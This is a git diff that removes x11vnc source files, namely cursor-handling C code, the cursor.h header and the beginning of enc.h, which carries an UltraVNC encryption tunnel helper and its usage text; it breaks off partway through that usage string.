- unsigned int* source = (unsigned int*) pixels_new;
- /*
- * now knock it back up to unsigned long:
- */
- pixels64 = (unsigned long*) malloc(8*w*h);
- for (j=0; j<h; j++) {
- for (i=0; i<w; i++) {
- *(pixels64+k) = (unsigned long) (*(source+k));
- k++;
- }
- }
- free(pixels_new);
- pixels_new = (char *) pixels64;
- if (pixels32) {
- free(pixels32);
- pixels32 = NULL;
- }
- }
-
- pixels = (unsigned long *) pixels_new;
-
- xhot = scale_round(xhot, scale_cursor_fac_x);
- yhot = scale_round(yhot, scale_cursor_fac_y);
- }
-
- len = w * h;
- /* for bitmap data */
- bitmap = (char *) malloc(len+1);
- bitmap[len] = '\0';
-
- /* for rich cursor pixel data */
- rich = (char *)calloc(Bpp*len, 1);
- alpha = (char *)calloc(1*len, 1);
-
- n_opaque = 0;
- n_trans = 0;
- n_alpha = 0;
- for (i=0; i<256; i++) {
- histo[i] = 0;
- }
-
- i = 0;
- for (y = 0; y < h; y++) {
- for (x = 0; x < w; x++) {
- unsigned long a;
-
- a = 0xff000000 & (*(pixels+i));
- a = a >> 24; /* alpha channel */
- if (a > 0) {
- n_alpha++;
- }
- histo[a]++;
- if (a < (unsigned int) alpha_threshold) {
- n_trans++;
- } else {
- n_opaque++;
- }
- i++;
- }
- }
- if (alpha_blend) {
- send_alpha = 0;
- if (Bpp == 4) {
- send_alpha = 1;
- }
- alpha_shift = 24;
- if (main_red_shift == 24 || main_green_shift == 24 ||
- main_blue_shift == 24) {
- alpha_shift = 0; /* XXX correct? */
- }
- }
- if (n_opaque >= alpha_frac * n_alpha) {
- thresh = alpha_threshold;
- } else {
- n_opaque = 0;
- for (i=255; i>=0; i--) {
- n_opaque += histo[i];
- thresh = i;
- if (n_opaque >= alpha_frac * n_alpha) {
- break;
- }
- }
- }
-
- i = 0;
- for (y = 0; y < h; y++) {
- for (x = 0; x < w; x++) {
- unsigned long r, g, b, a;
- unsigned int ui;
- char *p;
-
- a = 0xff000000 & (*(pixels+i));
- a = a >> 24; /* alpha channel */
-
- if (a < (unsigned int) thresh) {
- bitmap[i] = ' ';
- } else {
- bitmap[i] = 'x';
- }
-
- r = 0x00ff0000 & (*(pixels+i));
- g = 0x0000ff00 & (*(pixels+i));
- b = 0x000000ff & (*(pixels+i));
- r = r >> 16; /* red */
- g = g >> 8; /* green */
- b = b >> 0; /* blue */
-
- if (alpha_remove && a != 0) {
- r = (255 * r) / a;
- g = (255 * g) / a;
- b = (255 * b) / a;
- if (r > 255) r = 255;
- if (g > 255) g = 255;
- if (b > 255) b = 255;
- }
-
- if (indexed_color) {
- /*
- * Choose black or white for
- * PseudoColor case.
- */
- int value = (r+g+b)/3;
- if (value > 127) {
- ui = white;
- } else {
- ui = black;
- }
- } else {
- /*
- * Otherwise map the RGB data onto
- * the framebuffer format:
- */
- r = (main_red_max * r)/255;
- g = (main_green_max * g)/255;
- b = (main_blue_max * b)/255;
- ui = 0;
- ui |= (r << main_red_shift);
- ui |= (g << main_green_shift);
- ui |= (b << main_blue_shift);
- if (send_alpha) {
- ui |= (a << alpha_shift);
- }
- }
-
- /* insert value into rich source: */
- p = rich + Bpp*i;
-
- if (Bpp == 1) {
- *((unsigned char *)p)
- = (unsigned char) ui;
- } else if (Bpp == 2) {
- *((unsigned short *)p)
- = (unsigned short) ui;
- } else if (Bpp == 3) {
- *((unsigned char *)p)
- = (unsigned char) ((ui & 0x0000ff) >> 0);
- *((unsigned char *)(p+1))
- = (unsigned char) ((ui & 0x00ff00) >> 8);
- *((unsigned char *)(p+2))
- = (unsigned char) ((ui & 0xff0000) >> 16);
- } else if (Bpp == 4) {
- *((unsigned int *)p)
- = (unsigned int) ui;
- }
-
- /* insert alpha value into alpha source: */
- p = alpha + i;
- *((unsigned char *)p) = (unsigned char) a;
-
- i++;
- }
- }
-
- /* create the cursor with the bitmap: */
- c = rfbMakeXCursor(w, h, bitmap, bitmap);
- free(bitmap);
-
- if (pixels_new) {
- free(pixels_new);
- }
-
- /* set up the cursor parameters: */
- c->xhot = xhot;
- c->yhot = yhot;
- c->cleanup = FALSE;
- c->cleanupSource = FALSE;
- c->cleanupMask = FALSE;
- c->cleanupRichSource = FALSE;
- c->richSource = (unsigned char *) rich;
-
- /* zeroes mean interpolate the rich cursor somehow and use B+W */
- c->foreRed = 0;
- c->foreGreen = 0;
- c->foreBlue = 0;
- c->backRed = 0;
- c->backGreen = 0;
- c->backBlue = 0;
-
- c->source = NULL;
-
- if (alpha_blend && !indexed_color) {
- c->alphaSource = (unsigned char *) alpha;
- c->alphaPreMultiplied = TRUE;
- } else {
- free(alpha);
- c->alphaSource = NULL;
- }
- return c;
-}
-
-static unsigned long last_cursor = 0;
-static int last_index = 0;
-static time_t curs_times[CURS_MAX];
-static unsigned long curs_index[CURS_MAX];
-
-unsigned long get_cursor_serial(int mode) {
- if (mode == 0) {
- return last_cursor;
- } else if (mode == 1) {
- return (unsigned long) last_index;
- } else {
- return (unsigned long) last_index;
- }
-}
-
-static int get_exact_cursor(int init) {
- int which = CURS_ARROW;
-
- if (init) {
- /* zero out our cache (cursors are not freed) */
- int i;
- for (i=0; i<CURS_MAX; i++) {
- curs_times[i] = 0;
- curs_index[i] = 0;
- }
- last_cursor = 0;
- last_index = 0;
- return -1;
- }
-
-#ifdef MACOSX
- if (macosx_console) {
- return macosx_get_cursor();
- }
-#endif
-
- if (rawfb_vnc_reflect) {
- int last_idx = (int) get_cursor_serial(1);
- if (last_idx) {
- which = last_idx;
- }
- return which;
- }
- if (xfixes_present && dpy) {
-#if LIBVNCSERVER_HAVE_LIBXFIXES
- int last_idx = (int) get_cursor_serial(1);
- XFixesCursorImage *xfc;
-
- if (last_idx) {
- which = last_idx;
- }
- if (! xfixes_first_initialized) {
- return which;
- }
-
- X_LOCK;
- if (! got_xfixes_cursor_notify && xfixes_base_event_type) {
- /* try again for XFixesCursorNotify event */
- XEvent xev;
- if (XCheckTypedEvent(dpy, xfixes_base_event_type +
- XFixesCursorNotify, &xev)) {
- got_xfixes_cursor_notify++;
- }
- }
- if (! got_xfixes_cursor_notify) {
- /* evidently no cursor change, just return last one */
- X_UNLOCK;
- return which;
- }
- got_xfixes_cursor_notify = 0;
-
- /* retrieve the cursor info + pixels from server: */
- xfc = XFixesGetCursorImage(dpy);
- X_UNLOCK;
- if (! xfc) {
- /* failure. */
- return which;
- }
-
- which = store_cursor(xfc->cursor_serial, xfc->pixels,
- xfc->width, xfc->height, 32, xfc->xhot, xfc->yhot);
-
- X_LOCK;
- XFree_wr(xfc);
- X_UNLOCK;
-#endif
- }
- return(which);
-}
-
-int store_cursor(int serial, unsigned long *data, int w, int h, int cbpp,
- int xhot, int yhot) {
- int which = CURS_ARROW;
- int use, oldest, i;
- time_t oldtime, now;
-
-#if 0
-fprintf(stderr, "sc: %d %d/%d %d - %d %d\n", serial, w, h, cbpp, xhot, yhot);
-#endif
-
- oldest = CURS_DYN_MIN;
- if (screen && screen->cursor == cursors[oldest]->rfb) {
- oldest++;
- }
- oldtime = curs_times[oldest];
- now = time(NULL);
- for (i = CURS_DYN_MIN; i <= CURS_DYN_MAX; i++) {
- if (screen && screen->cursor == cursors[i]->rfb) {
- ;
- } else if (curs_times[i] < oldtime) {
- /* watch for oldest one to overwrite */
- oldest = i;
- oldtime = curs_times[i];
- }
- if (serial == (int) curs_index[i]) {
- /*
- * got a hit with an existing cursor,
- * use that one.
- */
-#ifdef MACOSX
- if (now > curs_times[i] + 1) {
- continue;
- }
-#endif
- last_cursor = curs_index[i];
- curs_times[i] = now;
- last_index = i;
- return last_index;
- }
- }
-
- /* we need to create the cursor and overwrite oldest */
- use = oldest;
- if (cursors[use]->rfb) {
- /* clean up oldest if it exists */
- if (cursors[use]->rfb->richSource) {
- free(cursors[use]->rfb->richSource);
- cursors[use]->rfb->richSource = NULL;
- }
- if (cursors[use]->rfb->alphaSource) {
- free(cursors[use]->rfb->alphaSource);
- cursors[use]->rfb->alphaSource = NULL;
- }
- if (cursors[use]->rfb->source) {
- free(cursors[use]->rfb->source);
- cursors[use]->rfb->source = NULL;
- }
- if (cursors[use]->rfb->mask) {
- free(cursors[use]->rfb->mask);
- cursors[use]->rfb->mask = NULL;
- }
- free(cursors[use]->rfb);
- cursors[use]->rfb = NULL;
- }
-
- if (rotating && rotating_cursors) {
- char *dst;
- int tx, ty;
-
- dst = (char *) malloc(w * h * cbpp/8);
- rotate_curs(dst, (char *) data, w, h, cbpp/8);
-
- memcpy(data, dst, w * h * cbpp/8);
- free(dst);
-
- rotate_coords(xhot, yhot, &tx, &ty, w, h);
- xhot = tx;
- yhot = ty;
- if (! rotating_same) {
- int tmp = w;
- w = h;
- h = tmp;
- }
- }
-
- /* place cursor into our collection */
- cursors[use]->rfb = pixels2curs(data, w, h, xhot, yhot, bpp/8);
-
- /* update time and serial index: */
- curs_times[use] = now;
- curs_index[use] = serial;
- last_index = use;
- last_cursor = serial;
-
- which = last_index;
-
- return which;
-}
-
-int known_cursors_mode(char *s) {
-/*
- * default: see initialize_cursors_mode() for default behavior.
- * arrow: unchanging white arrow.
- * Xn*: show X on root background. Optional n sets treedepth.
- * some: do the heuristics for root, wm, term detection.
- * most: if display have overlay or xfixes, show all cursors,
- * otherwise do the same as "some"
- * none: show no cursor.
- */
- if (strcmp(s, "default") && strcmp(s, "arrow") && *s != 'X' &&
- strcmp(s, "some") && strcmp(s, "most") && strcmp(s, "none")) {
- return 0;
- } else {
- return 1;
- }
-}
-
-void initialize_cursors_mode(void) {
- char *s = multiple_cursors_mode;
- if (!s || !known_cursors_mode(s)) {
- rfbLog("unknown cursors mode: %s\n", s);
- rfbLog("resetting cursors mode to \"default\"\n");
- if (multiple_cursors_mode) free(multiple_cursors_mode);
- multiple_cursors_mode = strdup("default");
- s = multiple_cursors_mode;
- }
- if (!strcmp(s, "none")) {
- show_cursor = 0;
- } else {
- /* we do NOT set show_cursor = 1, let the caller do that */
- }
-
- show_multiple_cursors = 0;
- if (show_cursor) {
- if (!strcmp(s, "default")) {
- if(multiple_cursors_mode) free(multiple_cursors_mode);
- multiple_cursors_mode = strdup("X");
- s = multiple_cursors_mode;
- }
- if (*s == 'X' || !strcmp(s, "some") || !strcmp(s, "most")) {
- show_multiple_cursors = 1;
- } else {
- show_multiple_cursors = 0;
- /* hmmm, some bug going back to arrow mode.. */
- set_rfb_cursor(CURS_ARROW);
- }
- if (screen) {
- set_cursor_was_changed(screen);
- }
- } else {
- if (screen) {
- LOCK(screen->cursorMutex);
- screen->cursor = NULL;
- UNLOCK(screen->cursorMutex);
- set_cursor_was_changed(screen);
- }
- }
-}
-
-int get_which_cursor(void) {
- int which = CURS_ARROW;
- int db = 0;
-
- if (show_multiple_cursors) {
- int depth = 0, rint;
- static win_str_info_t winfo;
- static int first = 1, depth_cutoff = -1;
- Window win = None;
- XErrorHandler old_handler;
- int mode = 0;
-
- if (drag_in_progress || button_mask) {
- /* XXX not exactly what we want for menus */
- if (! cursor_drag_changes) {
- return -1;
- }
- }
-
- if (!strcmp(multiple_cursors_mode, "arrow")) {
- /* should not happen... */
- return CURS_ARROW;
- } else if (!strcmp(multiple_cursors_mode, "default")) {
- mode = 0;
- } else if (!strcmp(multiple_cursors_mode, "X")) {
- mode = 1;
- } else if (!strcmp(multiple_cursors_mode, "some")) {
- mode = 2;
- } else if (!strcmp(multiple_cursors_mode, "most")) {
- mode = 3;
- }
-
- if (rawfb_vnc_reflect && mode > -1) {
- rint = get_exact_cursor(0);
- return rint;
- }
- if (mode == 3) {
- if ((xfixes_present && use_xfixes) || macosx_console) {
- if (db) fprintf(stderr, "get_which_cursor call get_exact_cursor\n");
- rint = get_exact_cursor(0);
- return rint;
- }
- }
-
- if (depth_cutoff < 0) {
- int din;
- if (sscanf(multiple_cursors_mode, "X%d", &din) == 1) {
- depth_cutoff = din;
- } else {
- depth_cutoff = 0;
- }
- }
-
- if (first) {
- winfo.wm_name = (char *) malloc(1024);
- winfo.res_name = (char *) malloc(1024);
- winfo.res_class = (char *) malloc(1024);
- }
- first = 0;
-
- X_LOCK;
- tree_descend_cursor(&depth, &win, &winfo);
- X_UNLOCK;
-
- if (depth <= depth_cutoff && !subwin) {
- which = CURS_ROOT;
-
- } else if (mode == 2 || mode == 3) {
- int which0 = which;
-
- /* apply crude heuristics to choose a cursor... */
- if (win && dpy) {
- int ratio = 10, x, y;
- unsigned int w, h, bw, d;
- Window r;
-
-#if !NO_X11
- trapped_xerror = 0;
- X_LOCK;
- old_handler = XSetErrorHandler(trap_xerror);
-
- /* "narrow" windows are WM */
- if (XGetGeometry(dpy, win, &r, &x, &y, &w, &h,
- &bw, &d)) {
- if (w > ratio * h || h > ratio * w) {
- which = CURS_WM;
- }
- }
- XSetErrorHandler(old_handler);
- X_UNLOCK;
- trapped_xerror = 0;
-#else
- if (!r || !d || !bw || !h || !w || !y || !x || !ratio || !old_handler) {}
-#endif /* NO_X11 */
- }
- if (which == which0) {
- /* the string "term" means I-beam. */
- char *name, *class;
- lowercase(winfo.res_name);
- lowercase(winfo.res_class);
- name = winfo.res_name;
- class = winfo.res_class;
- if (strstr(name, "term")) {
- which = CURS_TERM;
- } else if (strstr(class, "term")) {
- which = CURS_TERM;
- } else if (strstr(name, "text")) {
- which = CURS_TERM;
- } else if (strstr(class, "text")) {
- which = CURS_TERM;
- } else if (strstr(name, "onsole")) {
- which = CURS_TERM;
- } else if (strstr(class, "onsole")) {
- which = CURS_TERM;
- } else if (strstr(name, "cmdtool")) {
- which = CURS_TERM;
- } else if (strstr(class, "cmdtool")) {
- which = CURS_TERM;
- } else if (strstr(name, "shelltool")) {
- which = CURS_TERM;
- } else if (strstr(class, "shelltool")) {
- which = CURS_TERM;
- }
- }
- }
- }
- if (db) fprintf(stderr, "get_which_cursor which: %d\n", which);
- return which;
-}
-
-static void set_cursor_was_changed(rfbScreenInfoPtr s) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
-
- if (! s) {
- return;
- }
- iter = rfbGetClientIterator(s);
- LOCK(screen->cursorMutex);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- cl->cursorWasChanged = TRUE;
- }
- UNLOCK(screen->cursorMutex);
- rfbReleaseClientIterator(iter);
-}
-
-#if 0
-/* not yet used */
-static void set_cursor_was_moved(rfbScreenInfoPtr s) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
-
- if (! s) {
- return;
- }
- iter = rfbGetClientIterator(s);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- cl->cursorWasMoved = TRUE;
- }
- rfbReleaseClientIterator(iter);
-}
-#endif
-
-void restore_cursor_shape_updates(rfbScreenInfoPtr s) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int count = 0;
-
- if (! s || ! s->clientHead) {
- return;
- }
- iter = rfbGetClientIterator(s);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- int changed = 0;
- ClientData *cd = (ClientData *) cl->clientData;
-
- if (! cd) {
- continue;
- }
- if (cd->had_cursor_shape_updates) {
- rfbLog("restoring enableCursorShapeUpdates for client"
- " 0x%x\n", cl);
- cl->enableCursorShapeUpdates = TRUE;
- changed = 1;
- }
- if (cd->had_cursor_pos_updates) {
- rfbLog("restoring enableCursorPosUpdates for client"
- " 0x%x\n", cl);
- cl->enableCursorPosUpdates = TRUE;
- changed = 1;
- }
- if (changed) {
- cl->cursorWasChanged = TRUE;
- count++;
- }
- }
- rfbReleaseClientIterator(iter);
-}
-
-void disable_cursor_shape_updates(rfbScreenInfoPtr s) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- static int changed = 0;
- int count = 0;
-
- if (! s || ! s->clientHead) {
- return;
- }
- if (unixpw_in_progress) return;
-
- iter = rfbGetClientIterator(s);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- ClientData *cd;
- cd = (ClientData *) cl->clientData;
-
- if (cl->enableCursorShapeUpdates) {
- if (cd) {
- cd->had_cursor_shape_updates = 1;
- }
- count++;
- if (debug_pointer) {
- rfbLog("%s disable HCSU\n", cl->host);
- }
- }
- if (cl->enableCursorPosUpdates) {
- if (cd) {
- cd->had_cursor_pos_updates = 1;
- }
- count++;
- if (debug_pointer) {
- rfbLog("%s disable HCPU\n", cl->host);
- }
- }
-
- cl->enableCursorShapeUpdates = FALSE;
- cl->enableCursorPosUpdates = FALSE;
- cl->cursorWasChanged = FALSE;
- }
- rfbReleaseClientIterator(iter);
-
- if (count) {
- changed = 1;
- }
-}
-
-int cursor_shape_updates_clients(rfbScreenInfoPtr s) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int count = 0;
-
- if (! s) {
- return 0;
- }
- iter = rfbGetClientIterator(s);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- if (cl->enableCursorShapeUpdates) {
- count++;
- }
- }
- rfbReleaseClientIterator(iter);
- return count;
-}
-
-int cursor_noshape_updates_clients(rfbScreenInfoPtr s) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int count = 0;
-
- if (! s) {
- return 0;
- }
- iter = rfbGetClientIterator(s);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- if (!cl->enableCursorShapeUpdates) {
- count++;
- }
- }
- rfbReleaseClientIterator(iter);
- return count;
-}
-
-int cursor_pos_updates_clients(rfbScreenInfoPtr s) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int count = 0;
-
- if (! s) {
- return 0;
- }
- iter = rfbGetClientIterator(s);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- if (cl->enableCursorPosUpdates) {
- count++;
- }
- }
- rfbReleaseClientIterator(iter);
- return count;
-}
-
-/*
- * Record rfb cursor position screen->cursorX, etc (a la defaultPtrAddEvent())
- * Then set up for sending rfbCursorPosUpdates back
- * to clients that understand them. This seems to be TightVNC specific.
- */
-void cursor_position(int x, int y) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int cnt = 0, nonCursorPosUpdates_clients = 0;
- int x_in = x, y_in = y;
-
- /* x and y are current positions of X11 pointer on the X11 display */
- if (!screen) {
- return;
- }
-
- if (scaling) {
- x = ((double) x / dpy_x) * scaled_x;
- x = nfix(x, scaled_x);
- y = ((double) y / dpy_y) * scaled_y;
- y = nfix(y, scaled_y);
- }
-
- if (clipshift) {
- if (x < 0) x = 0;
- if (y < 0) y = 0;
- if (x >= dpy_x) x = dpy_x-1;
- if (y >= dpy_y) y = dpy_y-1;
- }
-
- if (x == screen->cursorX && y == screen->cursorY) {
- return;
- }
-
- LOCK(screen->cursorMutex);
- screen->cursorX = x;
- screen->cursorY = y;
- UNLOCK(screen->cursorMutex);
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- if (! cl->enableCursorPosUpdates) {
- nonCursorPosUpdates_clients++;
- continue;
- }
- if (! cursor_pos_updates) {
- continue;
- }
- if (cl == last_pointer_client) {
- /*
- * special case if this client was the last one to
- * send a pointer position.
- */
- if (x_in == cursor_x && y_in == cursor_y) {
- cl->cursorWasMoved = FALSE;
- } else {
- /* an X11 app evidently warped the pointer */
- if (debug_pointer) {
- rfbLog("cursor_position: warp "
- "detected dx=%3d dy=%3d\n",
- cursor_x - x, cursor_y - y);
- }
- cl->cursorWasMoved = TRUE;
- cnt++;
- }
- } else {
- cl->cursorWasMoved = TRUE;
- cnt++;
- }
- }
- rfbReleaseClientIterator(iter);
-
- if (debug_pointer && cnt) {
- rfbLog("cursor_position: sent position x=%3d y=%3d to %d"
- " clients\n", x, y, cnt);
- }
-}
-
-static void set_rfb_cursor(int which) {
-
- if (! show_cursor) {
- return;
- }
- if (! screen) {
- return;
- }
-
- if (!cursors[which] || !cursors[which]->rfb) {
- rfbLog("non-existent cursor: which=%d\n", which);
- return;
- } else {
- rfbSetCursor(screen, cursors[which]->rfb);
- }
-}
-
-void set_no_cursor(void) {
- set_rfb_cursor(CURS_EMPTY);
-}
-
-void set_warrow_cursor(void) {
- set_rfb_cursor(CURS_WARROW);
-}
-
-int set_cursor(int x, int y, int which) {
- static int last = -1;
- int changed_cursor = 0;
-
- if (x || y) {} /* unused vars warning: */
-
- if (which < 0) {
- which = last;
- }
- if (last < 0 || which != last) {
- set_rfb_cursor(which);
- changed_cursor = 1;
- }
- last = which;
-
- return changed_cursor;
-}
-
-/*
- * routine called periodically to update cursor aspects, this catches
- * warps and cursor shape changes.
- */
-int check_x11_pointer(void) {
- Window root_w, child_w;
- rfbBool ret = 0;
- int root_x, root_y, win_x, win_y;
- int x, y, rint;
- unsigned int mask;
-
- if (unixpw_in_progress) return 0;
-
-#ifdef MACOSX
- if (macosx_console) {
- ret = macosx_get_cursor_pos(&root_x, &root_y);
- } else {
- RAWFB_RET(0)
- }
-#else
-
- RAWFB_RET(0)
-
-# if NO_X11
- return 0;
-# endif
-
-#endif
-
-
-#if ! NO_X11
- if (dpy) {
- X_LOCK;
- ret = XQueryPointer_wr(dpy, rootwin, &root_w, &child_w, &root_x, &root_y,
- &win_x, &win_y, &mask);
- X_UNLOCK;
- }
-#else
- if (!mask || !win_y || !win_x || !child_w || !root_w) {}
-#endif /* NO_X11 */
-
-if (0) fprintf(stderr, "check_x11_pointer %d %d\n", root_x, root_y);
- if (! ret) {
- return 0;
- }
- if (debug_pointer) {
- static int last_x = -1, last_y = -1;
- if (root_x != last_x || root_y != last_y) {
- rfbLog("XQueryPointer: x:%4d, y:%4d)\n",
- root_x, root_y);
- }
- last_x = root_x;
- last_y = root_y;
- }
-
- /* offset subtracted since XQueryPointer relative to rootwin */
- x = root_x - off_x - coff_x;
- y = root_y - off_y - coff_y;
-
- if (clipshift) {
- static int cnt = 0;
- if (x < 0 || y < 0 || x >= dpy_x || y >= dpy_y) {
- if (cnt++ % 4 != 0) {
- if (debug_pointer) {
- rfbLog("Skipping cursor_position() outside our clipshift\n");
- }
- return 0;
- }
- }
- }
-
- /* record the cursor position in the rfb screen */
- cursor_position(x, y);
-
- /* change the cursor shape if necessary */
- rint = set_cursor(x, y, get_which_cursor());
- return rint;
-}
-
diff --git a/x11vnc/cursor.h b/x11vnc/cursor.h
deleted file mode 100644
index 9c74944..0000000
--- a/x11vnc/cursor.h
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_CURSOR_H
-#define _X11VNC_CURSOR_H
-
-/* -- cursor.h -- */
-
-extern int xfixes_present;
-extern int xfixes_first_initialized;
-extern int use_xfixes;
-extern int got_xfixes_cursor_notify;
-extern int cursor_changes;
-extern int alpha_threshold;
-extern double alpha_frac;
-extern int alpha_remove;
-extern int alpha_blend;
-extern int alt_arrow;
-extern int alt_arrow_max;
-
-
-extern void first_cursor(void);
-extern void setup_cursors_and_push(void);
-extern void initialize_xfixes(void);
-extern int known_cursors_mode(char *s);
-extern void initialize_cursors_mode(void);
-extern int get_which_cursor(void);
-extern void restore_cursor_shape_updates(rfbScreenInfoPtr s);
-extern void disable_cursor_shape_updates(rfbScreenInfoPtr s);
-extern int cursor_shape_updates_clients(rfbScreenInfoPtr s);
-extern int cursor_noshape_updates_clients(rfbScreenInfoPtr s);
-extern int cursor_pos_updates_clients(rfbScreenInfoPtr s);
-extern void cursor_position(int x, int y);
-extern void set_no_cursor(void);
-extern void set_warrow_cursor(void);
-extern int set_cursor(int x, int y, int which);
-extern int check_x11_pointer(void);
-extern int store_cursor(int serial, unsigned long *data, int w, int h, int cbpp, int xhot, int yhot);
-extern unsigned long get_cursor_serial(int mode);
-
-#endif /* _X11VNC_CURSOR_H */
diff --git a/x11vnc/enc.h b/x11vnc/enc.h
deleted file mode 100644
index 55d49bb..0000000
--- a/x11vnc/enc.h
+++ /dev/null
@@ -1,2165 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_ENC_H
-#define _X11VNC_ENC_H
-
-/* -- enc.h -- */
-
-#if 0
-:r /home/runge/uvnc/ultraSC/rc4/ultravnc_dsm_helper.c
-#endif
-
-/*
- * ultravnc_dsm_helper.c unix/openssl UltraVNC encryption encoder/decoder.
- * (also a generic symmetric encryption tunnel)
- * (also a generic TCP relay and supports IPv6)
- *
- * compile via:
-
- cc -O -o ultravnc_dsm_helper ultravnc_dsm_helper.c -lssl -lcrypto
- cc -DDBG -O -o ultravnc_dsm_helper ultravnc_dsm_helper.c -lssl -lcrypto
-
- *
- * See usage below for how to run it.
- *
- * Note: since the UltraVNC DSM plugin implementation changes the RFB
- * (aka VNC) protocol (extra data is sent), you will *ALSO* need to modify
- * your VNC viewer or server to discard (or insert) this extra data.
- *
- * This tool knows nothing about the RFB protocol: it simply
- * encrypts/decrypts a stream using a symmetric cipher, arc4 and aesv2,
- * (others have been added, see usage). It could be used as a general
- * encrypted tunnel:
- *
- * any-client <=> ultravnc_dsm_helper <--network--> ultravnc_dsm_helper(reverse mode) <=> any-server
- *
- * e.g. to connect a non-ultra-dsm-vnc viewer to a non-ultra-dsm-vnc server
- * without using SSH or SSL.
- *
- * It can also be used as a general TCP relay (no encryption.)
- *
- * It supports IPv6 and so can also be used as a IPv6 gateway.
- *
- * -----------------------------------------------------------------------
- * Copyright (C) 2008-2010 Karl J. Runge <runge@karlrunge.com>
- * All rights reserved.
- *
- * This is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; version 2 of the License, or (at
- * your option) any later version.
- *
- * This software is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this software; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
- * USA or see <http://www.gnu.org/licenses/>.
- *
- * In addition, as a special exception, Karl J. Runge gives permission
- * to link the code of its release of ultravnc_dsm_helper with the
- * OpenSSL project's "OpenSSL" library (or with modified versions of it
- * that use the same license as the "OpenSSL" library), and distribute
- * the linked executables. You must obey the GNU General Public License
- * in all respects for all of the code used other than "OpenSSL". If you
- * modify this file, you may extend this exception to your version of the
- * file, but you are not obligated to do so. If you do not wish to do
- * so, delete this exception statement from your version.
- * -----------------------------------------------------------------------
- */
-
-static char *usage =
- "\n"
- "ultravnc_dsm_helper: a symmetric encryption tunnel. version 0.2\n"
- "\n"
- " Created to enable encrypted VNC connections to UltraVNC, it can act as\n"
- " a general encrypted tunnel between any two applications. It can also\n"
- " be used as a general TCP relay (i.e. no encryption) or an IPv6 gateway.\n"
- "\n"
- "Usage: ultravnc_dsm_helper cipher keyfile listenport remotehost:port\n"
- " ultravnc_dsm_helper relay listenport remotehost:port\n"
- " ultravnc_dsm_helper showcert remotehost:port\n"
- "\n"
- "e.g.: ultravnc_dsm_helper arc4 ./arc4.key 5901 snoopy.net:5900\n"
- "\n"
- " IPv6 is supported: both IPv4 and IPv6 are attempted to listen on (port\n"
- " 'listenport'.) For connections to remotehost, if IPv4 fails\n"
- " then IPv6 is tried. Set the env. var ULTRAVNC_DSM_HELPER_NOIPV6\n"
- " to completely disable the use of IPv6.\n"
- "\n"
- "\n"
- " cipher: specify 'msrc4', 'msrc4_sc', 'arc4', 'aesv2', 'aes-cfb',\n"
- " 'aes256', 'blowfish', '3des', 'securevnc'.\n"
- "\n"
- " Also 'none', 'relay', or 'showcert'. See below for details.\n"
- "\n"
- " 'msrc4_sc' enables a workaround for UVNC SC -plugin use.\n"
- " (it might not be required in SC circa 2009 and later; try 'msrc4'.)\n"
- "\n"
- " use 'securevnc' for SecureVNCPlugin (RSA key exchange). 'keyfile' is\n"
- " used as a server RSA keystore in this mode. If 'keyfile' does not\n"
